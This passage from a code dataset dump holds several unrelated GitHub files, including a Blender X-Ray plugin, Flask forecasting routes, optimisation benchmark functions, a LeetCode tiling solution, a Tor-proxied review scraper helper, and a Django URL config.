'xray_export.skl'\n bl_label = 'Export .skl'\n bl_description = 'Exports X-Ray skeletal animation'\n\n filename_ext = '.skl'\n filter_glob: bpy.props.StringProperty(default='*' + filename_ext, options={'HIDDEN'})\n action = None\n\n @execute_with_logger\n @execute_require_filepath\n def execute(self, context):\n from .fmt_skl_exp import export_skl_file, ExportContext\n export_context = ExportContext(\n armature=context.active_object,\n action=self.action\n )\n export_skl_file(self.filepath, export_context)\n return {'FINISHED'}\n\n @invoke_require_armature\n def invoke(self, context, event):\n self.action = getattr(context, OpExportSkl.bl_idname + '.action', None)\n assert self.action\n self.filepath = self.action.name\n if not self.filepath.lower().endswith(self.filename_ext):\n self.filepath += self.filename_ext\n return super().invoke(context, event)\n\n\n\nclass OpExportSkls(bpy.types.Operator, FilenameExtHelper):\n bl_idname = 'xray_export.skls'\n bl_label = 'Export .skls'\n bl_description = 'Exports X-Ray skeletal animation'\n\n filename_ext = '.skls'\n filter_glob: bpy.props.StringProperty(default='*' + filename_ext, options={'HIDDEN'})\n\n def export(self, context):\n from .fmt_skl_exp import export_skls_file, ExportContext\n export_context = ExportContext(\n armature=context.active_object\n )\n export_skls_file(self.filepath, export_context)\n\n @invoke_require_armature\n def invoke(self, context, event):\n return super().invoke(context, event)\n\n\n\nclass OpExportProject(TestReadyOperator):\n bl_idname = 'export_scene.xray'\n bl_label = 'Export XRay Project'\n\n filepath: bpy.props.StringProperty(subtype='DIR_PATH', options={'SKIP_SAVE'})\n use_selection: bpy.props.BoolProperty()\n\n @execute_with_logger\n def execute(self, context):\n from .fmt_object_exp import export_file\n from bpy.path import abspath\n data = context.scene.xray\n export_context = _mk_export_context(\n data.object_texture_name_from_image_path, data.fmt_version, data.object_export_motions\n )\n try:\n path = abspath(self.filepath if self.filepath else data.export_root)\n os.makedirs(path, exist_ok=True)\n for obj in OpExportProject.find_objects(context, self.use_selection):\n name = obj.name\n if not name.lower().endswith('.object'):\n name += '.object'\n opath = path\n if obj.xray.export_path:\n opath = os.path.join(opath, obj.xray.export_path)\n os.makedirs(opath, exist_ok=True)\n export_file(obj, os.path.join(opath, name), export_context)\n except AppError as err:\n raise err\n return {'FINISHED'}\n\n @staticmethod\n def find_objects(context, use_selection=False):\n objects = context.selected_objects if use_selection else context.scene.objects\n return [o for o in objects if o.xray.isroot]\n\n\n\nclass XRayImportMenu(bpy.types.Menu):\n bl_idname = 'TOPBAR_MT_xray_import'\n bl_label = 'X-Ray'\n\n def draw(self, context):\n layout = self.layout\n\n layout.operator(OpImportObject.bl_idname, text='Source Object (.object)')\n layout.operator(OpImportAnm.bl_idname, text='Animation (.anm)')\n layout.operator(OpImportSkl.bl_idname, text='Skeletal Animation (.skl, .skls)')\n layout.operator(details.operators.OpImportDM.bl_idname, text='Details (.dm, .details)')\n layout.operator(err.operators.OpImportERR.bl_idname, text='Error List (.err)')\n\n\n\nclass XRayExportMenu(bpy.types.Menu):\n bl_idname = 'TOPBAR_MT_xray_export'\n bl_label = 'X-Ray'\n\n def draw(self, context):\n layout = self.layout\n\n layout.operator(OpExportObjects.bl_idname, text='Source Object (.object)')\n layout.operator(OpExportAnm.bl_idname, text='Animation (.anm)')\n layout.operator(OpExportSkls.bl_idname, text='Skeletal Animation (.skls)')\n layout.operator(OpExportOgf.bl_idname, text='Game Object (.ogf)')\n layout.operator(details.operators.OpExportDMs.bl_idname, text='Detail Model (.dm)')\n layout.operator(\n details.operators.OpExportLevelDetails.bl_idname,\n text='Level Details (.details)'\n )\n layout.operator(scene.operators.OpExportLevelScene.bl_idname, text='Level Scene (.level)')\n\n\ndef overlay_view_3d():\n def try_draw(base_obj, obj):\n if not hasattr(obj, 'xray'):\n return\n xray = obj.xray\n if hasattr(xray, 'ondraw_postview'):\n xray.ondraw_postview(base_obj, obj)\n if hasattr(obj, 'type'):\n if obj.type == 'ARMATURE':\n for bone in obj.data.bones:\n try_draw(base_obj, bone)\n\n for obj in bpy.data.objects:\n try_draw(obj, obj)\n\n\n_INITIALIZER = ObjectsInitializer([\n 'objects',\n 'materials',\n])\n\n\n@bpy.app.handlers.persistent\ndef load_post(_):\n _INITIALIZER.sync('LOADED', bpy.data)\n\n\n@bpy.app.handlers.persistent\ndef scene_update_post(_):\n _INITIALIZER.sync('CREATED', bpy.data)\n\n\n# noinspection PyUnusedLocal\ndef menu_func_import(self, _context):\n self.layout.operator(OpImportObject.bl_idname, text='X-Ray object (.object)')\n self.layout.operator(OpImportAnm.bl_idname, text='X-Ray animation (.anm)')\n self.layout.operator(OpImportSkl.bl_idname, text='X-Ray skeletal animation (.skl, .skls)')\n\n\ndef menu_func_export(self, _context):\n self.layout.operator(OpExportObjects.bl_idname, text='X-Ray object (.object)')\n self.layout.operator(OpExportAnm.bl_idname, text='X-Ray animation (.anm)')\n self.layout.operator(OpExportSkls.bl_idname, text='X-Ray animation (.skls)')\n\n\ndef menu_func_export_ogf(self, _context):\n self.layout.operator(OpExportOgf.bl_idname, text='X-Ray game object (.ogf)')\n\n\ndef menu_func_xray_import(self, _context):\n self.layout.menu(XRayImportMenu.bl_idname)\n\n\ndef menu_func_xray_export(self, _context):\n self.layout.menu(XRayExportMenu.bl_idname)\n\n\ndef append_menu_func():\n prefs = plugin_prefs.get_preferences()\n if prefs.compact_menus:\n bpy.types.TOPBAR_MT_file_import.remove(menu_func_import)\n bpy.types.TOPBAR_MT_file_export.remove(menu_func_export)\n bpy.types.TOPBAR_MT_file_export.remove(menu_func_export_ogf)\n bpy.types.TOPBAR_MT_file_import.remove(err.operators.menu_func_import)\n bpy.types.TOPBAR_MT_file_import.remove(details.operators.menu_func_import)\n bpy.types.TOPBAR_MT_file_export.remove(details.operators.menu_func_export)\n bpy.types.TOPBAR_MT_file_export.remove(scene.operators.menu_func_export)\n bpy.types.TOPBAR_MT_file_import.prepend(menu_func_xray_import)\n bpy.types.TOPBAR_MT_file_export.prepend(menu_func_xray_export)\n else:\n bpy.types.TOPBAR_MT_file_import.remove(menu_func_xray_import)\n bpy.types.TOPBAR_MT_file_export.remove(menu_func_xray_export)\n bpy.types.TOPBAR_MT_file_import.append(menu_func_import)\n bpy.types.TOPBAR_MT_file_export.append(menu_func_export)\n bpy.types.TOPBAR_MT_file_export.append(menu_func_export_ogf)\n bpy.types.TOPBAR_MT_file_import.append(details.operators.menu_func_import)\n bpy.types.TOPBAR_MT_file_export.append(details.operators.menu_func_export)\n bpy.types.TOPBAR_MT_file_import.append(err.operators.menu_func_import)\n bpy.types.TOPBAR_MT_file_export.append(scene.operators.menu_func_export)\n\n","repo_name":"BlenderCN-Org/blender-xray","sub_path":"io_scene_xray/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":27024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23211325917","text":"#!/bin/env python3\n# Usage: ./plotgamma.py \n\nimport numpy as np\nfrom matplotlib import rc\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\nimport sys\n\n# import my plotting code\nfrom plot import *\n\nshow = True # show plots?\ndfpath = \"gamma.log\"\nif len(sys.argv) > 1:\n dfpath = sys.argv[1]\n \ndata = np.loadtxt(dfpath)\ndata = data[np.lexsort((data[:, 1], data[:, 0]))].T\n\nsizes = []\nu, ui, uc = np.unique(data[0], axis=0, return_counts=True, return_index=True)\nlabels=[]\n\nfor i in range(len(u)):\n gamma = np.array([np.array(data[1, ui[i]:ui[i]+uc[i]]), np.array(data[2, ui[i]:ui[i]+uc[i]])]).T\n sizes.append(gamma)\n labels.append(\"$N$ = %i\" % u[i])\n\nlinescatter(sizes, titles=[\"Relaxation parameter in different system sizes\", \"$\\gamma$\", \"Iteration number\"], labels=labels, fpath=\"gamma.pdf\", show=show, log=[False, True])\n\n","repo_name":"Roninkoi/ParPS","sub_path":"plotgamma.py","file_name":"plotgamma.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"70537995762","text":"# import io\n# import random\n# from datetime import datetime\n# from http import HTTPStatus\nimport datetime\nfrom http import HTTPStatus\nimport json\nimport pytz\n# import imagehash\n# from PIL import Image\nfrom flask import Blueprint, request\nimport requests\n\nfrom deepstroy.config.rabbitmq_config import rabbitmq_models_exchange_name\nfrom deepstroy.domain.forecasting_files.forecasting_files import ForecastingFile\nfrom deepstroy.helpers.rabbitmq_message_publisher.rabbitmq_message_publisher import RabbitMqMessagePublisher\nfrom deepstroy.helpers.s3_helper import S3Helper\nfrom deepstroy.helpers.s3_paths import create_path_for_file_forecasting\nfrom deepstroy.modules.forecast.commands.new_file_for_forecasting_command import NewForecastingFileCommand\nfrom deepstroy.modules.forecast.queries.get_all_files import GetForecastFileQuery\n\nforecast_blueprint = Blueprint('forecast', __name__, url_prefix='/forecast')\n\n\n@forecast_blueprint.route('/upload-file/', methods=['POST'])\ndef upload_file_for_forecasting(file_name):\n file_bytes = request.get_data()\n forecasting_file_entity = ForecastingFile(\n file_name=file_name,\n date_of_upload=datetime.datetime.utcnow(),\n path=create_path_for_file_forecasting(),\n isModeling=False\n )\n S3Helper().s3_upload_file(\n file_path_in_bucket=forecasting_file_entity.path,\n file_bytes=file_bytes,\n public=True,\n )\n id = NewForecastingFileCommand().create(forecasting_file_entity)\n message_with_file_parameters = {\n 'file_id': id,\n 'path': forecasting_file_entity.path,\n }\n\n RabbitMqMessagePublisher().publish_message_to_exchange(exchange_name=rabbitmq_models_exchange_name,\n message=message_with_file_parameters)\n\n return str(id), HTTPStatus.OK\n\n@forecast_blueprint.route('/download-file/', methods=['GET'])\ndef get_file_path(id):\n res = requests.get(f'http://deepstroy-model-service:5000/model-service/predict/{id}').text\n result_path = \"http://localhost:9211/deepstroy/local/\" + json.loads(res)[\"path\"]\n return result_path, HTTPStatus.OK\n\n@forecast_blueprint.route('/history', methods=['GET'])\ndef get_history():\n\n forecast_files = GetForecastFileQuery().all()\n response = []\n if forecast_files:\n for file in forecast_files:\n response.append({\"id\": file.id, \"dateOfUpload\": str(file.date_of_upload), \"fileName\": file.file_name})\n\n for i in range(len(response)):\n res = requests.get(f'http://deepstroy-model-service:5000/model-service/predict/{response[i][\"id\"]}').text\n response[i][\"path\"] = \"http://localhost:9211/deepstroy/local/\" + json.loads(res)[\"path\"]\n\n return json.dumps(response), HTTPStatus.OK\n else:\n return json.dumps([]), HTTPStatus.OK\n\n@forecast_blueprint.route('/result/', methods=['GET'])\ndef get_forecasted_file(id):\n res = requests.get(f'http://deepstroy-model-service:5000/model-service/predict/{id}').text\n if res != 'Doesnt exist':\n response = \"http://localhost:9211/deepstroy/local/\" + json.loads(res)[\"path\"]\n return json.dumps(response), HTTPStatus.OK","repo_name":"TourmalineCore/deepstroy-api","sub_path":"deepstroy/modules/forecast/forecast_routes.py","file_name":"forecast_routes.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36611709023","text":"#导入cv2模块\nimport cv2 as cv\n#读取图片\nimg = cv.imread('jay.jpeg')\n#定坐标\nx,y,w,h = 100,100,100,100\n#绘制矩形\ncv.rectangle(img,(x,y,x+w,y+h),color=(0,0,255),thickness=1)\n#绘制圆形\ncv.circle(img, center=(x+w, y+h),radius=(100),color=(255,0,0), thickness=2)\n#显示图片\ncv.imshow('draw',img)\n# 按下按钮退出\nwhile True:\n if ord('y') == cv.waitKey(0):\n break\n# 释放内存\ncv.destroyAllWindows()\n","repo_name":"ydyydsediz/vscode-for-python","sub_path":"04绘制矩形.py","file_name":"04绘制矩形.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74037051123","text":"import numpy as np\nfrom .problem import Problem\n\n\nclass Sphere(Problem):\n\n def __init__(self, dim, lb, ub):\n super().__init__(dim, lb, ub)\n\n def evaluate(self, x):\n x = self.lb + x * (self.ub - self.lb)\n re = sum(np.power(x[i], 2) for i in range(self.D))\n return re\n\n\nclass Rosenbrock(Problem):\n\n def __init__(self, dim, lb, ub):\n super().__init__(dim, lb, ub)\n \n def evaluate(self, x):\n x = self.lb + x * (self.ub - self.lb)\n re = 0\n for i in range(self.D - 1):\n re += 100 * np.power((np.power(x[i], 2) - x[i + 1]), 2) + np.power((x[i] - 1), 2)\n return re\n\n\nclass Ackley(Problem):\n\n def __init__(self, dim, lb, ub):\n super().__init__(dim, lb, ub)\n \n def evaluate(self, x):\n x = self.lb + x * (self.ub - self.lb)\n\n # shift operation\n # x = x - 42.0969\n\n part1 = 0\n for i in range(self.D):\n part1 += np.power(x[i], 2)\n part2 = 0\n for i in range(self.D):\n part2 += np.cos(2 * np.pi * x[i])\n re = -20 * np.exp(-0.2 * np.sqrt(part1 / self.D)) \\\n - np.exp(part2 / self.D) + 20 + np.e\n return re\n\n\nclass Rastrgin(Problem):\n\n def __init__(self, dim, lb, ub):\n super().__init__(dim, lb, ub)\n\n def evaluate(self, x):\n x = self.lb + x * (self.ub - self.lb)\n re = 0\n for i in range(self.D):\n re += x[i] ** 2 - 10 * np.cos(2 * np.pi * x[i]) + 10\n return re\n\n\nclass Griewank(Problem):\n\n def __init__(self, dim, lb, ub):\n super().__init__(dim, lb, ub)\n\n def evaluate(self, x):\n x = self.lb + x * (self.ub - self.lb)\n part1, part2 = 0, 1\n for i in range(self.D):\n part1 += x[i] ** 2\n part2 *= np.cos(x[i] / np.sqrt(i + 1))\n re = 1 + part1 / 4000 - part2\n return re\n\n\nclass Weierstrass(Problem):\n \n def __init__(self, dim, lb, ub):\n super().__init__(dim, lb, ub)\n \n def evaluate(self, x):\n x = self.lb + x * (self.ub - self.lb)\n part1 = 0\n for i in range(self.D):\n for j in range(21):\n part1 += np.power(0.5, j) * np.cos(2 * np.pi * np.power(3, j) * (x[i] + 0.5))\n part2 = 0\n for i in range(21):\n part2 += np.power(0.5, i) * np.cos(2 * np.pi * np.power(3, i) * 0.5)\n re = part1 - self.D * part2\n return re\n\n\nclass Schwefel(Problem):\n\n def __init__(self, dim, lb, ub):\n super().__init__(dim, lb, ub)\n \n def evaluate(self, x):\n x = self.lb + x * (self.ub - self.lb)\n part1 = 0\n for i in range(self.D):\n part1 += x[i] * np.sin(np.sqrt(np.abs(x[i])))\n re = 418.9829 * self.D - part1\n return re\n","repo_name":"LDNN97/Evolutionary-Optimization-Algorithms","sub_path":"prob/problems.py","file_name":"problems.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"75"} +{"seq_id":"30632925779","text":"'''\nWe have two types of tiles: a 2x1 domino shape, and an \"L\" tromino shape. These shapes may be rotated.\n\n XX <- domino\n \n XX <- \"L\" tromino\n X\n \nGiven N, how many ways are there to tile a 2 x N board? Return your answer modulo 10^9 + 7.\n(In a tiling, every square must be covered by a tile.\nTwo tilings are different if and only if there are two 4-directionally adjacent cells on the board\nsuch that exactly one of the tilings has both squares occupied by a tile.)\n\n# Note:\n- N will be in range [1, 1000].\n'''\n\n\n# 점화식 : P(N) = 2 * summation(P(1~(N-3))) + P(N-2) + P(N-1) + 2\n# 예) N = 6\n # ■■■■■■ --> ■■■■■■ 1*2\n # □■■■■■ --> □ P(1) * ■■■■■ 1*2\n # □□■■■■ --> □□ P(2) * ■■■■ 1*2\n # □□□■■■ --> □□□ P(3) * ■■■ 1*2\n # □□□□■■ --> □□□□ P(N-2) * ■■ 1\n # □□□□□■ --> □□□□□ P(N-1) * ■ 1\n\n\n# □ : nx2를 채울 수 있는 타일 조합 경우의 수. DP를 활용해 P(n)을 구하기 위해 P(1~(n-1))까지를 활용\n\n# ■ : 쪼개지지 않는 새로운 타일 조합 (경우의 수 : 1*2)\n # ■■■■■■ : xxvvxx\n # xyyzzx\n \n # ■■■■■ : xxyyx\n # xzzxx\n \n # ■■■■ : xxyy\n # xzzy\n \n # ■■■ : xxy\n # xyy\n \n # ■■ : xx \n # yy (상하반전이 같아서 *2 안함)\n \n # ■ : x\n # x (상하반전이 같아서 *2 안함)\n\n# *2 : 상하반전 경우의 수\n\n\nclass Solution():\n def numTilings(self, N: int) -> int:\n # 리스트 0으로 초기화, 초기값 설정\n tiles = [1, 2] + [0] * (N-2)\n \n for i in range(2, N):\n # 점화식, overflow 방지\n tiles[i] = (2 * sum(tiles[:i-2]) + tiles[i-2] + tiles[i-1] + 2) % 1000000007\n \n return tiles[-1]\n \n \nsolution = Solution()\nsolution.numTilings(3)\n# 5\n","repo_name":"dataminegames/Algorithm_study","sub_path":"Leetcode/DynamicProgramming/dp_01.py","file_name":"dp_01.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73870630962","text":"import inspect\nimport requests\nimport socks\nimport socket\nimport os\n\nfrom bs4 import BeautifulSoup\n\n\ndef get_file_dir():\n filename = inspect.getframeinfo(inspect.currentframe()).filename\n path = os.path.dirname(os.path.abspath(filename))\n return path\n\n\ndef connect_to_tor():\n print(\"Connecting to Tor\")\n print(\"Before:\")\n check_ip()\n\n socks.set_default_proxy(socks.SOCKS5, \"localhost\", 9150)\n socket.socket = socks.socksocket\n\n print(\"After:\")\n check_ip()\n\n\ndef check_ip():\n ip = requests.get('http://checkip.dyndns.org').content\n soup = BeautifulSoup(ip, 'html.parser')\n\n print(soup.find('body').text)\n\n\ndef execute_captcha(page):\n try:\n page.locator(\"input[class=CheckboxCaptcha-Button]\").click(timeout=2000)\n print(\"Enter the captcha text:\")\n captcha_text = input()\n page.locator(\"input[class=Textinput-Control]\").input_value(captcha_text)\n page.locator(\"button[class=CaptchaButton CaptchaButton_view_action]\").click()\n except:\n None\n","repo_name":"KELONMYOSA/yandex_maps_attraction_reviews_parser","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"75301791923","text":"\"\"\" Importação da biblioteca MessageBox do Tkinter e\n da classe que manipula as palavras do jogo. \"\"\"\nfrom tkinter import messagebox\nfrom src.manipular_palavra import PalavrasJogo\n\nsubstituir: dict = {\n \"A\": ['Á', 'À', 'Ã', 'Â'],\n \"E\": ['É', 'È', 'Ẽ', 'Ê'],\n \"I\": ['Í', 'Ì', 'Î', 'Ĩ'],\n \"O\": ['Ó', 'Ò', 'Ô', 'Õ'],\n \"U\": ['Ú', 'Ù', 'Û', 'Ũ'],\n \"C\": ['Ç'],\n}\n\n\nclass Jogo:\n\n def __init__(self) -> None:\n self.palavra = PalavrasJogo()\n\n def acertou_a_palavra(self, letras_adivinhadas) -> bool:\n \"\"\" Função que verifica se a palavra já está completa\n e mostra uma menságem dizendo que o usuário já\n adivinhou e irá iniciar um nova partida. \"\"\"\n if \"_\" not in letras_adivinhadas:\n mensagem = f\"Parabéns, você acertou!\\nA palavra era: {self.palavra.palavra_atual}\"\n messagebox.showinfo(message=mensagem, title=\"Hangman\")\n\n return \"_\" not in letras_adivinhadas\n\n def contem_a_letra(self, letra_clicada) -> bool:\n \"\"\" Verifiva se a letra clicada existe na palavra corrente. \"\"\"\n if letra_clicada in substituir.keys():\n letra_clicada = self.letra_correspondente(\n letra_clicada, self.palavra.palavra_atual)\n return letra_clicada in self.palavra.palavra_atual\n\n def letra_correspondente(self, letra_clicada, teste) -> str:\n \"\"\" Retorna a letra correspondente da palavra acentuada ou não \"\"\"\n if letra_clicada in substituir.keys():\n for letra in substituir[letra_clicada]:\n if letra in teste:\n return letra\n return letra_clicada\n\n def acabou_as_chances(self, chances_restantes) -> bool:\n \"\"\" Caso as imagem_atual tenhar acabado será mostrada\n uma menságem dizendo que o jogador perdeu e irá\n iciar uma nova partida.\"\"\"\n if chances_restantes == 0:\n mensagem = f\"Poxa, você perdeu!\\nA palavra era: {self.palavra.palavra_atual}\"\n messagebox.showwarning(message=mensagem, title=\"Hangman\")\n\n return chances_restantes == 0\n\n def zereu_o_jogo(self) -> None:\n \"\"\" Essa função será verdade caso o jogador acerte todas as \n palavras contidas no jogo, após isso será exibida uma\n menságe e o jogo irá fechar. \"\"\"\n if self.palavra.acabou_as_palavras():\n mensagem = \"Parabéns, você acertou todas as palavras do jogo.\\nParabéns por zerar o jogo.\"\n messagebox.showinfo(message=mensagem, title=\"Hangman\")\n quit()\n\n def ajuda(self) -> None:\n \"\"\" Função mostra a dica da palavra que esta apresentada. \"\"\"\n messagebox.showinfo(message=self.palavra.dica_atual, title=\"Hangman\")\n\n def sobre(self) -> None:\n \"\"\" Função mostra a dica da palavra que esta apresentada. \"\"\"\n mensagem: str = \"Esse jogo foi criado por Jonas de Jesus Ferreira, \" \\\n \"e o seu objetivo é que você consiga adivinhar a \" \\\n \"palavra secreta clicando apenas nas letras do alfabeto.\\n\" \\\n \"Espero que goste, e boa sorte!!!\\n\\n\" \\\n \"Código disponível em:\\n\" \\\n \"github.com/JonasJF360/hangman\"\n messagebox.showinfo(message=mensagem, title=\"Hangman\")\n","repo_name":"JonasJF360/hangman","sub_path":"src/jogo.py","file_name":"jogo.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"34988105566","text":"import re\nfrom bs4 import BeautifulSoup as bs4\nimport requests as req\nimport lxml\nimport pymysql\nimport os\nimport sys\nimport datetime\nimport multiprocessing\n\ndef get_newsUrl():\n titleUrlList=['http://www.dsj365.cn/day.html','http://www.dsj365.cn/month.html','http://www.dsj365.cn/year.html',\n 'http://www.dsj365.cn/timeline.html','http://www.dsj365.cn/history.html']\n headers = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'Connection': 'keep-alive',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36'\n }\n for i in titleUrlList:\n html = req.get(i, headers=headers).content.decode('utf8')\n page_re=re.compile('
  • [\\S\\s]*?
  • ')\n lastUrlurl_re=re.compile('http://[\\s\\S]*?pageNo=[0-9]{1,2}')\n temp=page_re.findall(html)\n lastUrl=lastUrlurl_re.findall(temp[-1])[-1]\n temp=lastUrl.split('pageNo=')\n pageUrlList=[]\n newsUrlList=[]\n for i1 in range(1,int(temp[-1])+1):\n pageUrlList.append(\"%s%s%s\"%(temp[0],'pageNo=',i1))\n for i1 in pageUrlList:\n html = req.get(i1, headers=headers).content.decode('utf8')\n soup=bs4(html,'lxml')\n newsUrl = soup.find_all(class_=\"news-info\")\n for i2 in newsUrl:\n url=i2.find('a').get('href')\n if url not in newsUrlList:\n newsUrlList.append(url)\n for i2 in newsUrlList:\n try:\n sql='INSERT INTO dsj_url(url) select \"'+i2+'\" from dual ' \\\n 'WHERE not exists (select id from dsj_url where url = \"'+i2+'\")'\n cursor.execute(sql)\n db.commit()\n print(i2)\n except:\n print(sql)\n\n\n\n\nif __name__ == '__main__':\n db = pymysql.connect(\"localhost\", \"root\", \"123456\", \"sobey\")\n cursor = db.cursor()","repo_name":"danyuzhen/python","sub_path":"PythonCode/sobey/dsj_spider/url_spider.py","file_name":"url_spider.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28863099309","text":"\"\"\"\nThis file contains the constants variables and paths used by the rest of the code.\n\"\"\"\n\nimport os\n\n# Path to load flow simulations.\nDATA_FOLDER = '/Volumes/Eluteng/EPFL/data'\nDATASET_FOLDER = os.path.join(DATA_FOLDER, 'datasets_optim')\n_files = {'cigre13': 'dataset_1_full',\n 'cigre13-v1': 'cigre13_v1',\n 'cigre13-v2': 'cigre13_v2',\n 'cigreLV6bus': 'cigreLV6bus_full',\n 'cigreLV6bus_PV': 'cigreLV6buswPV_full',\n 'cigreLV6bus_PV_10R': 'cigreLV6buswPV_Rby10_full',\n 'cigre4': 'cigreLV4nodewPVRby1',\n 'cigre4-Rby5': 'cigreLV4nodewPVRby5',\n 'cigre4-Rto5': 'cigreLV4nodewPVRto5',\n 'cigre4-Rto2': 'cigreLV4nodewPVRto2'}\nDATASET_PATHS = {k: os.path.join(DATASET_FOLDER, v) for k, v in _files.items()}\n\n# Folder that stores experimental results.\nEXPERIMENT_FOLDER = '/Volumes/Eluteng/EPFL/experiments'\n\n# Folder that stores trained neural nets.\nTRAINED_NETS_FOLDER = '/Volumes/Eluteng/EPFL/trained_nets'\n\n# Folder that stores estimations from different methods.\nESTIMATIONS_FOLDER = '/Volumes/Eluteng/EPFL/estimations'\n\n# Folder that stores comparisons between different methods.\nCOMPARISONS_FOLDER = '/Volumes/Eluteng/EPFL/comparisons'\n\n# Sensor classes and corresponding error standard deviations.\nSENSOR_CLASSES = [0., 0.1, 0.2, 0.5, 1.]\n\nSENSOR_ABS_MAX_ERROR = {sc: sc / 100. for sc in SENSOR_CLASSES}\nSENSOR_STD_ABS = {k: v / 3. for k, v in SENSOR_ABS_MAX_ERROR.items()} # std = max_error / 3\n\nSENSOR_ANG_MAX_ERROR = {0.: 0., 0.1: 1.5e-3, 0.2: 3e-3, 0.5: 9e-3, 1.: 18e-3}\nSENSOR_STD_ANG = {k: v / 3. for k, v in SENSOR_ANG_MAX_ERROR.items()} # std = max_error / 3\n","repo_name":"robinhenry/sensitivity-analysis","sub_path":"meng/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"30355395718","text":"import requests\nimport datetime\nimport dateutil\nimport dateutil.relativedelta\nimport dateutil.parser\nimport time\n\nWIDENER_ID = '1567'\n\ndef get_lib_hours(today,lib_id=WIDENER_ID):\n\ttry:\n\t\tstart_day = today - dateutil.relativedelta.relativedelta(weekday=6, weeks=1)\n\n\n\n\t\t#start day must be sunday\n\t\t \n\n\t\t#end day must be saturay\n\t\tend_day = today + dateutil.relativedelta.relativedelta(weekday=5)\n\n\n\n\t\tif start_day > end_day:\n\t\t\tend_day += dateutil.relativedelta.relativedelta(weeks=1)\n\n\t\tstart_formatted = time.strftime('%Y-%m-%d',start_day.timetuple())\n\n\t\tend_formatted = time.strftime('%Y-%m-%d',end_day.timetuple())\n\n\t\ttoday_formatted = time.strftime('%Y-%m-%d',today.timetuple())\n\n\t\tURL='http://library.harvard.edu/opening_hours/instances?from_date={0}&to_date={1}&nid={2}'.format(start_formatted,end_formatted,lib_id)\n\n\t\tr = requests.get(URL)\n\n\t\tjson = r.json()\n\n\t\t#find today in the json. if no today, then wid is closed\n\n\t\tclosed = True\n\n\t\thours = {}\n\n\t\tfor day in json:\n\t\t\tif day['date'] == today_formatted:\n\t\t\t\tclosed = False\n\t\t\t\thours['start_time']=day['start_time']\n\t\t\t\thours['end_time']=day['end_time']\n\n\t\tif closed:\n\t\t\thours = \"Closed\"\n\n\t\thours['closed'] = closed\n\n\t\treturn hours\n\t\n\texcept Exception:\n\t\treturn None\n","repo_name":"bensobel/calendar","sub_path":"library_api.py","file_name":"library_api.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2523980521","text":"# coding=utf-8\nimport random\nlista = []\nfor x in range(10):\n numero = random.randint(1, 100)\n if x == 0:\n maior, menor = numero, numero\n elif numero > maior:\n maior = numero\n elif numero < menor:\n menor = numero\n lista.append(numero)\nlista.sort()\nprint(lista)\nprint(\"Maior: %d\" % maior)\nprint(\"Menor: %d\" % menor)\n","repo_name":"renebentes/Python4Zumbis","sub_path":"Exercícios/Lista IV/questao01.py","file_name":"questao01.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18690971981","text":"from turtle import Turtle\n\n\n# constants\nUP = 90\nDOWN = 270\nCOLORS = [\"yellow\", \"red\"]\n\n\nclass Paddle(Turtle):\n color_index = 0\n\n def __init__(self, x_coord):\n super().__init__()\n self.setpos(x_coord, 0)\n self.penup()\n self.color(COLORS[Paddle.color_index])\n Paddle.color_index += 1\n self.shape(\"square\")\n self.setheading(UP)\n self.turtlesize(1, 5)\n\n def up(self):\n self.setheading(UP)\n self.forward(20)\n\n def down(self):\n self.setheading(DOWN)\n self.forward(20)\n","repo_name":"echoshihab/PyGameSims","sub_path":"pong/paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19645392135","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import patterns, url, include\n\nurlpatterns = patterns(\n 'base.views',\n url(\"^submit$\", 'submit', name='submit_code'),\n url(\"^register$\", 'register_team', name='register_team'),\n url(\"^get/submission/(?P\\d+).zip$\", 'get_submission', name='get_submission'),\n url(\"^accept/(?P[a-zA-Z0-9_.-]*)$\", 'accept_invite', name='accept_invitation'),\n url(\"^list$\", 'teams', name='teams_list'),\n url(\"^my$\", 'my_team_info', name='my_team'),\n url(\"^sharifid$\", 'sharif_id', name='sharif_id'),\n url(\"^games$\", 'my_games', name='my_games'),\n url(\"^change_name/(?P[0-9]+)$\", 'change_team_name', name='change_team_name'),\n url(\"^remove$\", 'remove', name='remove'),\n url(\"^accept-decline$\", 'accept_decline_request', name='accept_decline'),\n 